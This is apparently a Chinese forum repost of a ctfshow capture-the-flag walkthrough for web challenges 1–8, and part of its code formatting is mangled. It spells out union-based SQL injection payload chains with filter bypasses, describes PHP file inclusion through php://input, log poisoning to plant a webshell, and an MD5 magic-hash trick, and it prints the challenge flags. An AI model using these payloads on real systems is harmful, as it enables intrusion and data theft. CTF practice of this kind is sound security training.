ctfshow-超具体通关教程-web(1~8)

打印 上一主题 下一主题

主题 838|帖子 838|积分 2514

快捷目次
web1
web2
web3
web4
web5
web6
web7
web8
1.web签到题

打开网址后出现如下界面。

查看一下网站源码

将Y3Rmc2hvd3s1ZjkxNTc3Yy03MmRkLTRhYzItYTE1Yi1lOWRhMjk4MTQyNjl9解码即可得到flag

2.web2

打开网址如图。

首先用万能密码admin' or 1=1#测试一下。直接就进入了,可知存在sql注入。

判定列名数量
admin' or '1'='1' order by 1#
……
admin' or '1'='1' order by 3#(可以进入)
admin' or '1'='1' order by 4#(不可以进入)
由上可知可知有三列,接下来查找回显位置。
admin' or '1'='1' union select 1,2,3#

由上可知:回显位为2地点位置
爆库:admin' or 1=1 union select 1,database(),3#可知数据库名为web2

爆表:admin' or '1'='1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();#可知表名为flag,user

爆字段:admin' or '1'='1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#可知字段名为flag

爆数据:admin' or '1'='1' union select 1,group_concat(flag),3 from flag#即可得到flag

3.web3

打开界面如图所示

看到include()推测可能存在文件包罗。
抓包并实验利用php伪协议php://input,在请求体中放入php代码
点击查看代码
  1. [/code]然后使用POST方法提交[align=center][img]https://img2024.cnblogs.com/blog/3456544/202406/3456544-20240607222811894-145009384.png[/img][/align]
  2. 可知存在ctf_go_go_go,访问一下试试。
  3. [align=center][img]https://img2024.cnblogs.com/blog/3456544/202406/3456544-20240607223248405-81937328.png[/img][/align]
  4. 将flag收入囊中。
  5. [size=4]4.web4[/size]
  6. 和web3的网页别无二致。实验使用相同方法,发现无用。试试访问日志文件在url后添加?url=/var/log/nginx/access.log,进行访问,如图所示。[align=center][img]https://img2024.cnblogs.com/blog/3456544/202406/3456544-20240607224657228-1825984364.png[/img][/align]
  7. 访问日志,进行抓包,实验通过user-Agent写马。
  8. [align=center][img]https://img2024.cnblogs.com/blog/3456544/202406/3456544-20240607225410148-1519861539.png[/img][/align]
  9. 使用蚁剑进行连接,可以找到flag.txt文件。
  10. [align=center][img]https://img2024.cnblogs.com/blog/3456544/202406/3456544-20240607225725125-493917989.png[/img][/align]
  11. 双击打开即可获得flag
  12. [align=center][img]https://img2024.cnblogs.com/blog/3456544/202406/3456544-20240607225821491-134042149.png[/img][/align]
  13. [size=4]5.web5[/size]
  14. 网址打开如图所示,是一段源码。[align=center][img]https://img2024.cnblogs.com/blog/3456544/202406/3456544-20240608213444266-1601974472.png[/img][/align]
  15. 对代码进行分析,首先通过GET方式传入参数v1和v2,用isset()函数判定是否已设置并且不为null,若true,则利用ctype_alpha()函数判定v1是否为纯字母,利用is_numeric()函数判定v2是否为数字或数字字符串,再用md5()函数判定v1和v2的MD5加密值是否相当,若相当,则返回flag。
  16. 综上所述,想要获得flag,必要满足三个条件:
  17. (1)v1的值是纯字母;
  18. (2)v2的值是数字或数字字符串;
  19. (3)v1和v2的MD5加密值必须相当。(PHP在处理哈希字符串时,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码颠末哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。)
  20. 针对上述情况,我们构造的payload如下:?v1=EEIZDOI&v2=240610708
  21. [align=center][img]https://img2024.cnblogs.com/blog/3456544/202406/3456544-20240608215330793-1210099566.png[/img][/align]
  22. 成功获取到flag
  23. [size=4]6.web6[/size]
  24. 打开后是个登陆页面,先用万能密码进行测试。[align=center][img]https://img2024.cnblogs.com/blog/3456544/202406/3456544-20240608220405976-1118228317.png[/img][/align]
  25. 发现出现注入错误的提示
  26. [align=center][img]https://img2024.cnblogs.com/blog/3456544/202406/3456544-20240608220524919-2071628723.png[/img][/align]
  27. 在密码处用万能密码进行测试,发现也是注入错误,实验在密码框输入空格,出现了斑点,可能是将空格过滤了,实验抓包观察。结果不出所料,果然是将空格给过滤了。
  28. [align=center][img]https://img2024.cnblogs.com/blog/3456544/202406/3456544-20240608221114260-1879509444.png[/img][/align]
  29. 此时要做的就是[url=https://blog.csdn.net/Cairo_A/article/details/134882367]更换空格[/url],可以或许更换空格的方式有许多种,此处仅使用注释符进行演示。
  30. 从此刻开始的注入流程与web2的相似。
  31. 判定列数:
  32. 点击查看代码[code]1'/**/or/**/1=1/**/order/**/by/**/3#
复制代码
判定回显位:点击查看代码
  1. 1'/**/or/**/1=1/**/union/**/select/**/3#
复制代码

爆库:
点击查看代码
  1. 1'/**/or/**/1=1/**/union/**/select/**/1,database(),3#
复制代码

爆表:
点击查看代码
  1. 1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
复制代码

爆字段:
点击查看代码
  1. 1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
复制代码

爆数据:
点击查看代码
  1. 1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#
复制代码

7.web7

打开后随便点击,发现有id用来传参进而改变页面内容,可能存在sql注入。

颠末测试此处同样过滤了空格(测试方法见web6)。同样使用注释符进行绕过。
使用1 and 1=1(正常)和1 and 1=2(不正常)进行判定,存在数值型注入。

判定列数:
点击查看代码
  1. ?id=1/**/order/**/by/**/3#
复制代码
判定回显位:点击查看代码
  1. ?id=1/**/union/**/select/**/1,2,3#
复制代码

爆库:
点击查看代码
  1. ?id=-1/**/union/**/select/**/1,database(),version()#
复制代码

爆表:
点击查看代码
  1. ?id=-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()
复制代码

爆列名:
点击查看代码
  1. ?id=-1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"
复制代码

爆数据:
点击查看代码
  1. ?id=-1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag
复制代码

8.web8

页面与web7的一样,但是过滤了空格,and,union以及逗号,对其进行更换从而进行绕过即可。过滤空格, 可以使用括号() 或者注释/**/ 绕过。
过滤and, 可以使用or替代。
过滤union, 可以用盲注替代联合注入。
过滤逗号, 可以使用特别语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替。
但手工进行注入就比较贫苦了,此时就显示出了脚本的紧张性。这里我们使用网上给出的python脚本进行注入。
库名:web8

表名:flag,page,user

列名:flag

flag:ctfshow{ca4d3ee7-fa65-4118-8b64-01fa9dc1c380}


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

雁过留声

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表